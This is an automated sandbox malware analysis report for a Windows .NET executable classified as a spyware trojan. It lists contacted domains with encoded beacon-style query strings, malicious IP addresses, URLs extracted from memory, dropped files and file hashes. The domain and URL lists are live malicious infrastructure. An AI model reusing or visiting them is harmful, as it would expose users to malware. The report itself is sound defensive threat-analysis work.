http://www.eichner.pro/og0p/	true	unknown
http://www.brickhills.site/vwn2/	true	unknown
http://www.nng83.top/mg8c/	true	unknown
http://www.224466.top/8orf/	true	unknown
http://www.0be.info/8h0h/	true	unknown
http://www.epicurecooks.world/mdkc/	true	unknown
http://www.88rtp.biz/oz0e/?pluxVm=N0iBPOr2h1wf3hrk0fV7bCYuQaQcnemlKlX+67l0LxDwIz/NET6JyzgCPnJBSBJZztg4pX1Iwr0Nd76JZuhGak0dZt9NjSAeSo6fySf0UlwbimsbHDdeRZs=&Z1EO=OvfHeluUy	true	unknown
http://www.224466.top/8orf/?pluxVm=yDQ89DLfYgJiEyke7+6q5gE87/fs/XemaXtjJXohmXUOdwNzAwGJy6nqls5iDTVnp9Zi+kacGLaYAX6Ad+cHYYESeoueNmRKrwXa18136rVeVa07ORWAOLw=&Z1EO=OvfHeluUy	true	unknown
http://www.smartgov.shop/1cwp/	true	unknown
http://www.glowups.life/dheh/	true	unknown
http://www.epicurecooks.world/mdkc/?pluxVm=yWWHbhCahbG3DdaBnt9NrGvMUCSQc4g2Tqe6SUjOSsODgr6CFa5SJdyjtzT5mznodS2lvT8/GpN3gvUqymh3/8TyFQ0rIiTFrx443/jhZTAx0fULTMMcMck=&Z1EO=OvfHeluUy	true	unknown
http://www.sido247.pro/073p/	true	unknown
http://www.juewucangku.xyz/mia8/	true	unknown
http://www.dialogpriest.online/7znk/	true	unknown
http://www.hayaniya.org/vpwx/?pluxVm=QVDEbR6rh5hXI7Ts6cB6silFglbuflfjHrG0P1AfCwx+KCDVCLlnycIybt7pD06IHRHaJm25c0tlog+zyXtoPLPq9cOgZC1PjOnv8m1FSTaOvxyioepA8aM=&Z1EO=OvfHeluUy	true	unknown
http://www.hayaniya.org/vpwx/	true	unknown
http://www.brickhills.site/vwn2/?Z1EO=OvfHeluUy&pluxVm=8b9RKtQSBHH07PxtYsipjL/lqfXqYX+jQmAZaw9GROHGYV74Mu7xY5rUUGbBS35lPyHtHPQD+8VPnbju2HtxZfcyuqMzjQoAFmm58sa9OXwe8h9QCPhjB/0=	true	unknown
http://www.juewucangku.xyz/mia8/?pluxVm=lJqwuwutw0TxfZ38sJgHJ7uqXbvMJU6pA/kgjN31XYZ5TRzvlECqmYueWqhH+dns4k5MWxqP8Bok6NcIC1536fve9u1GdSOEvFZBDrTYEySAKG7uhWgC+P8=&Z1EO=OvfHeluUy	true	unknown
http://www.goldbracelet.top/qrpv/?Z1EO=OvfHeluUy&pluxVm=WiX0LzPqOnM4b37+7/q2MnJgJJwmlCG/8poUwA5NsFkBp/VurdzYoSVVPF8rA/Ka5BkZn+mZS0ORkGe6TXFOOAiLIJoZGeMwExFXk2ddigf2T3UmxoiawIQ=	true	unknown
http://www.nng83.top/mg8c/?pluxVm=rjBLh9a8fZJRcQu9K1C3LAtp+/ShEoEfzH3ui2xMInNHtYlxt8Nl0C2ZPsNy1cCyYgBvBEXXCVeazEdoFLasWgZ3AJaOWiiv1TsNcWo9tyTPmHKnoGX/TSk=&Z1EO=OvfHeluUy	true	unknown
http://www.kubex.dev/o5mm/	true	unknown
http://www.smartgov.shop/1cwp/?Z1EO=OvfHeluUy&pluxVm=sIFdgnO3FyIHooXZAGWnPd64nEiNYbQbKjddbfNFYhaUQRED9832NCT0LRXwdwmN50zS64Z/ENDcZJBcOGN8yjbqMhS05UVN1tB36ILI/fWY5OM6Vh1joIo=	true	unknown
http://www.goldbracelet.top/qrpv/	true	unknown
http://www.kubex.dev/o5mm/?pluxVm=52ZaOoJJHsYFYpcE8OJe6kaaR+Ibp2Nxq28CYNd7tHRxqCukViCUoHxjhmN2/g+W5SkTzZJsaEIA3pVY9O1vDv+SN/8yFpfSlnbOuEouoKz6AG71fS9yZK8=&Z1EO=OvfHeluUy	true	unknown
http://www.eichner.pro/og0p/?pluxVm=aYNz5vX3IaeBLII2gGf9eURLdfN+pzrBFxzqHFB0Zc0E767K5MaAH/EqLovM7A815HxojS38W68HbT3JNl21N4jIU1lh5jKS99Zmbqcxop+R6eeWU//8U3E=&Z1EO=OvfHeluUy	true	unknown
http://www.sido247.pro/073p/?pluxVm=NsdLHLYUe9sblrm0I+Crv144tHMQQbz/4RSieCn+7DwPKByw7jhxCyJ0LTJMQHRDPlmDRdKjKllFY9ccUXh843okMet3hg+QsBhX3tP/6BR9rZiNBzb3ESI=&Z1EO=OvfHeluUy	true	unknown
http://www.dialogpriest.online/7znk/?Z1EO=OvfHeluUy&pluxVm=HSNOOCSycaWbpWp1pFuTHgyNeMyGT259cyc1jurPotVrvnXLICbtqfVvbaWKwlIlASBzdIxRFAa/wDiZdCYNsQsDHbsFXQKeKhShRpSMwKmQ7kRuiU3WeuA=	true	unknown
http://www.glowups.life/dheh/?pluxVm=6JcMAOZ0kkEuPLPobYSFFslgEkquVWiK5Nqk+SkmZf4Wc9f19ayTyDiVFSf9h78jkWY5XnirO34u2f/fghaoX1igb+ZsamnQxKAe0eVMQ+zxkvaWI9vtOSA=&Z1EO=OvfHeluUy	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://duckduckgo.com/chrome_newtab	cacls.exe, 00000004.00000003.179416057961.000000000823B000.00000004.00000020.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182792565138.00000000081CF000.00000004.00000020.00020000.00000000.sdmp, G8uE-69OL.4.dr	false	high
https://uk.search.yahoo.com/favicon.icohttps://uk.search.yahoo.com/search	cacls.exe, 00000004.00000003.179416057961.000000000823B000.00000004.00000020.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182792565138.00000000081CF000.00000004.00000020.00020000.00000000.sdmp, G8uE-69OL.4.dr	false	high
https://dts.gnpge.com	cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	false	unknown
https://duckduckgo.com/ac/?q=	G8uE-69OL.4.dr	false	high
https://cdn.consentmanager.net	RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	false	high
http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.woff2	RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	false	high
http://i2.cdn-image.com/__media__/pics/468/netsol-favicon-2020.jpg	RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	false	high
http://www.brickhills.site	RAVCpl64.exe, 00000003.00000002.183789647493.0000000003536000.00000040.80000000.00040000.00000000.sdmp	false	unknown
https://sedo.com/checkdomainoffer.php?language=es&domain=dialogpriest.online&partnerid=318876	RAVCpl64.exe, 00000003.00000002.183800347636.0000000008510000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.0000000005720000.00000004.10000000.00040000.00000000.sdmp	false	high
http://i2.cdn-image.com/__media__/pics/28903/search.png)	RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	false	high
http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.woff2	RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	false	high
http://www.Epicurecooks.world	RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	false	unknown
http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.otf	RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	false	high
http://www.wesped.com/	RAVCpl64.exe, 00000003.00000002.183800347636.0000000008510000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.0000000005720000.00000004.10000000.00040000.00000000.sdmp	false	unknown
https://beian.miit.gov.cn/	RAVCpl64.exe, 00000003.00000002.183800347636.00000000086A2000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.00000000058B2000.00000004.10000000.00040000.00000000.sdmp	false	high
https://uk.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	cacls.exe, 00000004.00000003.179416057961.000000000823B000.00000004.00000020.00020000.00000000.sdmp, G8uE-69OL.4.dr	false	high
http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.otf	RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	false	high
http://www.epicurecooks.world/__media__/design/underconstructionnotice.php?d=epicurecooks.world	RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	false	unknown
http://www.epicurecooks.world/Epicure_Market_Miami_Beach.cfm?fp=oRjqTKvNE1HJY5QlICDKPU%2FlUKBvBjy%2F	RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	false	unknown
http://www.epicurecooks.world/px.js?ch=2	cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://www.epicurecooks.world/px.js?ch=1	cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://www.epicurecooks.world/Victorian_Epicure.cfm?fp=oRjqTKvNE1HJY5QlICDKPU%2FlUKBvBjy%2FRk5sF9Bh%	RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	false	unknown
http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.eot	RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	false	high
http://www.epicurecooks.world/Epicure_Selections.cfm?fp=oRjqTKvNE1HJY5QlICDKPU%2FlUKBvBjy%2FRk5sF9Bh	RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	false	unknown
http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.eot?#iefix	RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	false	high
http://224466.top	cacls.exe, 00000004.00000002.182791208626.00000000058B2000.00000004.10000000.00040000.00000000.sdmp	false	unknown
http://www.epicurecooks.world/Gourmet.cfm?fp=oRjqTKvNE1HJY5QlICDKPU%2FlUKBvBjy%2FRk5sF9Bh%2Fbshv%2Fl	RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	false	unknown
https://delivery.consentmanager.net	RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	false	high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	cacls.exe, 00000004.00000003.179416057961.000000000823B000.00000004.00000020.00020000.00000000.sdmp, G8uE-69OL.4.dr	false	high
http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.eot	RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	false	high
http://i2.cdn-image.com/__media__/pics/28905/arrrow.png)	RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	false	high
http://www.brickhills.site/vwn2/?Z1EO=OvfHeluUy&pluxVm=8b9RKtQSBHH07PxtYsipjL/lqfXqYX	cacls.exe, 00000004.00000002.182791208626.0000000004DB4000.00000004.10000000.00040000.00000000.sdmp	false	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	G8uE-69OL.4.dr	false	high
http://dialogpriest.online	RAVCpl64.exe, 00000003.00000002.183800347636.0000000008510000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.0000000005720000.00000004.10000000.00040000.00000000.sdmp	false	unknown
http://www.epicurecooks.world/sk-logabpstatus.php?a=NFd0ZVVKdXZlZDdYNHJGc0I1RTNRRkVRVzhkaGNtTDd4UEdy	cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://www.epicurecooks.world/Prospect_Epicure_J-REIT_Value_Fund.cfm?fp=oRjqTKvNE1HJY5QlICDKPU%2FlUK	RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	false	unknown
https://www.ecosia.org/newtab/	cacls.exe, 00000004.00000002.182792565138.00000000081CF000.00000004.00000020.00020000.00000000.sdmp	false	high
http://www.epicurecooks.world/__media__/js/trademark.php?d=epicurecooks.world&type=ns	RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	false	unknown
http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.svg#montserrat-regular	RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	false	high
http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.woff	RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	false	high
https://ac.ecosia.org/autocomplete?q=	cacls.exe, 00000004.00000002.182792565138.00000000081CF000.00000004.00000020.00020000.00000000.sdmp	false	high
http://i2.cdn-image.com/__media__/pics/10667/netsol-logos-2020-165-50.jpg	RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	false	high
http://hayaniya.org/vpwx/?pluxVm=QVDEbR6rh5hXI7Ts6cB6silFglbuflfjHrG0P1AfCwx	RAVCpl64.exe, 00000003.00000002.183800347636.000000000837E000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000558E000.00000004.10000000.00040000.00000000.sdmp	false	unknown
http://i2.cdn-image.com/__media__/pics/29590/bg1.png)	RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	false	high
https://www.wesped.com/cart.php?a=add&domain=register	RAVCpl64.exe, 00000003.00000002.183800347636.0000000008510000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.0000000005720000.00000004.10000000.00040000.00000000.sdmp	false	unknown
http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.ttf	RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	false	high
http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.ttf	RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	false	high
http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.svg#montserrat-bold	RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	false	high
https://www.juewucangku.xyz/mia8/?pluxVm=lJqwuwutw0TxfZ38sJgHJ7uqXbvMJU6pA/kgjN31XYZ5TRzvlECqmYueWqh	RAVCpl64.exe, 00000003.00000002.183800347636.0000000007880000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.0000000004A90000.00000004.10000000.00040000.00000000.sdmp	false	unknown
http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.woff	RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	false	high
http://i2.cdn-image.com/__media__/js/min.js?v2.3	RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	false	high
http://localhost/arkanoid_server/requests.php	RAVCpl64.exe, 00000003.00000002.183800347636.0000000006B2C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.0000000003D3C000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000005.00000002.179519526215.0000000023C6C000.00000004.80000000.00040000.00000000.sdmp, Pp7OXMFwqhXKx5Y.exe	false	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	cacls.exe, 00000004.00000002.182792565138.00000000081CF000.00000004.00000020.00020000.00000000.sdmp	false	high
https://gemini.google.com/app?q=	cacls.exe, 00000004.00000002.182792565138.00000000081CF000.00000004.00000020.00020000.00000000.sdmp	false	high
http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.eot?#iefix	RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
8.136.96.106	www.juewucangku.xyz	Singapore	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	true
38.47.233.4	nng83.top	United States	174	COGENT-174US	true
13.248.169.48	www.smartgov.shop	United States	16509	AMAZON-02US	true
176.31.209.107	www.dialogpriest.online	France	16276	OVHFR	true
103.224.182.242	www.brickhills.site	Australia	133618	TRELLIAN-AS-APTrellianPtyLimitedAU	true
84.32.84.32	sido247.pro	Lithuania	33922	NTT-LT-ASLT	true
208.91.197.27	www.epicurecooks.world	Virgin Islands (BRITISH)	40034	CONFLUENCE-NETWORK-INCVG	true
45.197.47.177	www.224466.top	Seychelles	328608	Africa-on-Cloud-ASZA	true
209.74.79.42	www.glowups.life	United States	31744	MULTIBAND-NEWHOPEUS	true
172.67.201.49	www.goldbracelet.top	United States	13335	CLOUDFLARENETUS	true
172.96.191.39	88rtp.biz	Canada	59253	LEASEWEB-APAC-SIN-11LeasewebAsiaPacificpteltdSG	true
192.185.147.100	hayaniya.org	United States	26337	OIS1US	true
217.160.0.183	www.kubex.dev	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	true
173.0.157.187	0be.info	United States	7979	SERVERS-COMUS	true
89.31.143.90	www.eichner.pro	Germany	15598	QSC-AG-IPXDE	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1567413
Start date and time:	2024-12-03 14:48:18 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 16m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, Chrome 128, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected Instruction Hammering
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	Pp7OXMFwqhXKx5Y.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/2@17/15
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 83 Number of non-executed functions: 252
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Excluded domains from analysis (whitelisted): ctldl.windowsupdate.com
Report creation exceeded maximum time and may have missing disassembly code information.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Pp7OXMFwqhXKx5Y.exe

Simulations

Behavior and APIs

Time	Type	Description
08:51:51	API Interceptor	28430839x Sleep call for process: cacls.exe modified

Process:	C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.354384827676232
Encrypted:	false
SSDEEP:	24:MLUE4K5E4K1Bs1qE4qXKDE4KhKMaKhPKIE4oKnKoZAE4KzD1E4x84j:MIHK5HK1Bs1qHiYHKh6oPtHoAhAHKzhp
MD5:	511475387A5161D4052316C38F7FF282
SHA1:	2CE71F7A372D6965DD42B71EEC5E8F81D43343B3
SHA-256:	AD084A10414740C5054EDBCF76007E75F9E7456D3C7C5DA8865F0ECD491A6E61
SHA-512:	E60E0218C46DF20260D81B7A1FBD69BF019C54E36A8ACDB74ADAB91A90BD8960ECC8E16F3872851119DA05E72787433DD3C54E099F9E6526342E05C38D5364C7
Malicious:	true
Reputation:	low
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\827465c25133ff582ff7ddaf85635407\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\374ae62ebbde44ef97c7e898f1fdb21b\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\b863adc9d550931e279ac7e2ee517d1f\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\10879c5bddb2dd2399e2098d

C:\Users\user\AppData\Local\Temp\G8uE-69OL

Download File

Process:	C:\Windows\SysWOW64\cacls.exe
File Type:	SQLite 3.x database, last written using SQLite version 3036000, page size 2048, file counter 7, database pages 59, cookie 0x52, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	135168
Entropy (8bit):	1.1142956103012707
Encrypted:	false
SSDEEP:	192:8t4nKTjebGA7j9p/XH9eQ3KvphCNKRmquPWTPVusE6kvjd:8t4n/9p/39J6hwNKRmqu+7VusEtrd
MD5:	E3F9717F45BF5FFD0A761794A10A5BB5
SHA1:	EBD823E350F725F29A7DE7971CD35D8C9A5616CC
SHA-256:	D79535761C01E8372CCEB75F382E912990929624EEA5D7093A5A566BAE069C70
SHA-512:	F12D2C7B70E898ABEFA35FEBBDC28D264FCA071D66106AC83F8FC58F40578387858F364C838E69FE8FC66645190E1CB2B4B63791DDF77955A1C376424611A85D
Malicious:	false
Reputation:	low
Preview:	SQLite format 3......@ .......;...........R......................................................S`...........5........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.805893321028564
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Win16/32 Executable Delphi generic (2074/23) 0.01% Generic Win/DOS Executable (2004/3) 0.01%
File name:	Pp7OXMFwqhXKx5Y.exe
File size:	766'976 bytes
MD5:	8a6f66334502bc3da28732ccd4353d14
SHA1:	f51ecc0c41835d9aed80c16a8a7121ca08f9476a
SHA256:	f6047e5b6850d495f6abb0be606099be170b94fcef640a52681490020a569bf6
SHA512:	c58b2678afd98b6f940ee670def962b62f27bda28d0613045c5f12007e87ade470d565124ce78c417a13dc193e309ba096535217346b2603b9a2d391d87c8eb7
SSDEEP:	12288:nxIR4R52J+XtHzP6IjvfsBpbLnvyxPNmRS8Ijn2PYI6OvnKZz0j0qqkEQjAFiIRi:xIeeqCsupbLDRS8unkYeKZ20qqkjiiI4
TLSH:	F8F4125D5A5AE40BCE0017780EB2F2B81AAC1FDDB901D2179FDDADEBB876C241D482C1
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Ng..............0..\...T......Zz... ........@.. ....................................@................................

File Icon


Icon Hash:	033424c4c199d839

Static PE Info

General

Entrypoint:	0x4b7a5a
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
